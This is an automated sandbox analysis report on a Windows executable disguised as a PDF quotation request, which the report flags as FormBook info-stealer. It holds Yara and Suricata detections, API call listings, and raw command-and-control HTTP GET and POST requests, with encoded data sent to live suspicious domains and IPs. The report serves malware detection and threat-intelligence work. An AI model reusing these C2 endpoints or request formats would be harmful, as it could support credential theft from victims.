Windows Analysis Report
Quotation request -30112024_pdf.exe

AI detected suspicious sample

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1643178908.0000000006880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3137237939.0000000005230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134393651.0000000003290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3130613752.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3134403470.0000000003B70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1641218754.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3134574203.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1642068110.0000000004A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Quotation request -30112024_pdf.exe

Joe Sandbox ML: detected

Source: Quotation request -30112024_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: xvYhLzczmazJ.exe, 0000000A.00000000.1561536330.00000000000EE000.00000002.00000001.01000000.00000005.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1722910301.00000000000EE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Quotation request -30112024_pdf.exe, 00000002.00000003.1298534176.00000000042F0000.00000004.00001000.00020000.00000000.sdmp, Quotation request -30112024_pdf.exe, 00000002.00000003.1299779489.0000000004490000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1641673492.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1546649019.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1641673492.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1544927146.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000003.1641739098.0000000003165000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.000000000365E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.00000000034C0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000003.1644453148.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Quotation request -30112024_pdf.exe, 00000002.00000003.1298534176.00000000042F0000.00000004.00001000.00020000.00000000.sdmp, Quotation request -30112024_pdf.exe, 00000002.00000003.1299779489.0000000004490000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000007.00000002.1641673492.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1546649019.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1641673492.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1544927146.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, RMActivate_isv.exe, 0000000B.00000003.1641739098.0000000003165000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.000000000365E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3134894660.00000000034C0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000003.1644453148.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rmactivate_isv.pdb source: svchost.exe, 00000007.00000003.1605760726.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1605855367.0000000006A00000.00000004.00000020.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576053827.000000000420D000.00000004.00000001.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576936987.00000000042AA000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: rmactivate_isv.pdbGCTL source: svchost.exe, 00000007.00000003.1605760726.0000000003B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1605855367.0000000006A00000.00000004.00000020.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576053827.000000000420D000.00000004.00000001.00020000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000003.1576936987.00000000042AA000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FD3000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3135956729.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723645888.0000000002DFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2000496930.00000000288EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000002FD3000.00000004.00000020.00020000.00000000.sdmp, RMActivate_isv.exe, 0000000B.00000002.3135956729.0000000003B2C000.00000004.10000000.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723645888.0000000002DFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2000496930.00000000288EC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	2_2_004339B6
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	2_2_00452492
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_00442886
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_004788BD
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	2_2_0045CAFA
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_00431A86
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	2_2_0044BD27
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0045DE8F FindFirstFileW,FindClose,	2_2_0045DE8F
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_0044BF8B
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E1C380 FindFirstFileW,FindNextFileW,FindClose,	11_2_02E1C380

Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 4x nop then xor eax, eax	11_2_02E09EE0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 4x nop then pop edi	11_2_02E0E033
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 4x nop then mov ebx, 00000004h	11_2_033E04DF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53115 -> 47.76.213.197:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53152 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53156 -> 176.117.73.104:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53160 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53157 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53151 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53153 -> 176.117.73.104:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53149 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53158 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53165 -> 176.32.38.130:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53154 -> 176.117.73.104:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53166 -> 176.32.38.130:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53173 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53159 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53174 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53162 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53163 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53177 -> 20.2.36.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53170 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53179 -> 20.2.36.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53150 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53175 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53180 -> 20.2.36.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53167 -> 176.32.38.130:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53155 -> 176.117.73.104:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53164 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53169 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53168 -> 176.32.38.130:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53161 -> 107.167.84.42:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53176 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53171 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:53172 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:53178 -> 20.2.36.112:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.egyshare.xyz
Source:	DNS query: www.tals.xyz
Source:	DNS query: www.acc888ommodate.xyz
Source:	DNS query: www.070002018.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 161.97.142.144 161.97.142.144

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CONTABODE CONTABODE
Source: Joe Sandbox View	ASN Name: VODAFONE-TRANSIT-ASVodafoneNZLtdNZ VODAFONE-TRANSIT-ASVodafoneNZLtdNZ
Source: Joe Sandbox View	ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_004422FE InternetQueryDataAvailable,InternetReadFile,

2_2_004422FE

Source: global traffic	HTTP traffic detected: GET /yysf/?0PIXBf9=6v+kdCMiu5/5470MX9lzQyj8/+WeB1VHD3zgv43+rVSd7gkLKIFyovo7JjBoxgRqvXZx1v1SEu244MoSpwzCrGiBlqOxipli+BYTnOI67OOyvHeuq/FHXkVErKkJ9HuzEweZBdUTs+cq&tD_=f00xUVKh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.ytsd88.topUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /lu7u/?tD_=f00xUVKh&0PIXBf9=yZTmjXW21Nq5wh91IMf/kDRGkUZ+XT2lkv3n4X6DMmMz0B5xbYyQHfDnacj01uuzec64BAri/1xnyBkH0yVWWE7yUWUVCQJ95ExXsfUTBKKOk42MManlE2uXf/wCPPD1XSw9siMiJ2ze HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.egyshare.xyzUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /i6zb/?0PIXBf9=6B2/7Ngl58s2pznOHRe+vJ9NgeSMQEkiwdm42/mNvrNW/DcFgEbztbyoGAni7ddU1GsG6dsX45s7M+CgnpRasEd6qu0hZk1EhvCSzFnjn53BAZCqqKYjVrue1TDSDBq9qg8+DFp/ZHMc&tD_=f00xUVKh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.bionanosolutions.infoUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /010v/?0PIXBf9=2DU2m0hj/03yT64ZAvV34ivg7uPA4dfBDsSIbuQmFBnlUt8YBQQ14XEnB00q3iyOSDF3P+nMuqVdWH+dOv2myK47+wAnbzEdrDFKM4GnqLu4eJ36TYO1rG1EAVouommahjHXUR9pmevZ&tD_=f00xUVKh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.tals.xyzUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /g4fs/?0PIXBf9=3ndIaHiqeNA3nHGd8AHkXwlYF1OgixBFyjUlI87s5QAdbYlY5Sf7asAsxRx6tHqc14Nk2leX0TZcqtK/n28nLOTw2Vfuiiw8TGap3DrxCRua9Dp2yMpF4VwKHEspiCTWJ2CwkW3F1CDu&tD_=f00xUVKh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.cssa.auctionUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /aqil/?tD_=f00xUVKh&0PIXBf9=+VwoEzPaDs0s7aELp9mEitaybqlo9Ma6vB91+jO83mkKcBs1X1DQL/6P3P2ZQT9OHqbgLgcpvVmqnE/hn02MtVwUieIUVcwPPIBQaGnRdw6ZzI3y7/51wpZ1zsNtMrZa/5ef5+yRkwqf HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.acc888ommodate.xyzUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zffa/?0PIXBf9=Lr0UKEZNgDTJN6gT+Us371Y8hMyDvaQkpz1n9V5B19O6mDyNa8d38Q+pA9qLUvQ8A8Z/r2CCV5OH4hlRsxt9M39/KtueIxj6h2UJ95Aou8NDO7hK3C23zz+4LvY5JlduZs+ECZ1LIizb&tD_=f00xUVKh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.070002018.xyzUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /chrv/?tD_=f00xUVKh&0PIXBf9=oqIvPuLKU6ipUF0l0s9jGwC5Rs+ISH+IiXTOUljk/btMUGhxXUhy/ROn8iRvBZThJHrBfDF95d/bLV86djItjxOaoccx9TISaPCf4hbQm/G+Yq+LkHY0VTYNMEk+ymSz3ZEiRr7ur/of HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.startvin.topUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /55tt/?0PIXBf9=Ogm+Zpk+8l6HQ6PINDlmGUkcF8k7x5YOd8W05nhCgxhbbgxSQo8C646ORpAxt2ba51M1bpBVlaSpASxEjtHc742t+MiRm52SMn9uh/BsfFsC8+xAemM0t+vEaw1VEDnH1Ike7P0+r0HF&tD_=f00xUVKh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeHost: www.mdpc7.topUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.uynline.shop
Source: global traffic	DNS traffic detected: DNS query: www.ytsd88.top
Source: global traffic	DNS traffic detected: DNS query: www.egyshare.xyz
Source: global traffic	DNS traffic detected: DNS query: www.bionanosolutions.info
Source: global traffic	DNS traffic detected: DNS query: www.tals.xyz
Source: global traffic	DNS traffic detected: DNS query: www.cssa.auction
Source: global traffic	DNS traffic detected: DNS query: www.acc888ommodate.xyz
Source: global traffic	DNS traffic detected: DNS query: www.070002018.xyz
Source: global traffic	DNS traffic detected: DNS query: www.startvin.top
Source: global traffic	DNS traffic detected: DNS query: www.mdpc7.top
Source: global traffic	DNS traffic detected: DNS query: www.phoenix88.sbs

Source: unknown

HTTP traffic detected: POST /lu7u/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Cache-Control: no-cacheContent-Length: 220Connection: closeContent-Type: application/x-www-form-urlencodedHost: www.egyshare.xyzOrigin: http://www.egyshare.xyzReferer: http://www.egyshare.xyz/lu7u/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 30 50 49 58 42 66 39 3d 2f 62 37 47 67 69 4f 63 6b 36 53 4b 38 44 42 71 56 76 50 36 70 79 5a 48 67 53 46 61 51 78 6a 48 79 64 37 78 70 47 50 68 4a 7a 52 51 36 67 31 79 52 4a 4b 62 50 76 50 62 4d 64 33 44 38 4f 66 68 4d 62 36 2b 4d 42 66 47 31 51 4a 69 6a 43 4d 33 7a 67 38 48 55 48 6a 37 63 48 45 78 49 7a 45 6d 79 45 34 77 74 71 55 47 57 50 47 38 67 4a 57 31 4f 5a 43 2f 66 77 50 35 49 4f 67 5a 56 70 62 4a 58 47 77 4f 31 45 59 2f 51 7a 4c 6e 77 62 7a 58 6f 34 57 4f 77 4b 70 54 71 72 48 4f 57 39 63 72 72 33 37 73 65 37 45 2b 6f 6a 75 4a 30 6c 4d 39 70 33 49 46 4c 4e 61 35 70 61 6e 56 4a 50 57 35 35 75 41 6f 76 35 4b 55 69 79 6f 56 4f 54 4c 78 38 77 3d 3d Data Ascii: 0PIXBf9=/b7GgiOck6SK8DBqVvP6pyZHgSFaQxjHyd7xpGPhJzRQ6g1yRJKbPvPbMd3D8OfhMb6+MBfG1QJijCM3zg8HUHj7cHExIzEmyE4wtqUGWPG8gJW1OZC/fwP5IOgZVpbJXGwO1EY/QzLnwbzXo4WOwKpTqrHOW9crr37se7E+ojuJ0lM9p3IFLNa5panVJPW55uAov5KUiyoVOTLx8w==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:12:53 GMTContent-Type: text/htmlContent-Length: 409Connection: closeETag: "66d016cf-199"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 85 8d e8 b4 b9 ef bc 8c e9 ab 98 e6 95 88 e5 92 8c e5 ae 89 e5 85 a8 e7 9a 84 e6 89 98 e7 ae a1 e6 8e a7 e5 88 b6 e9 9d a2 e6 9d bf 29 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 18 Nov 2024 12:13:51 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 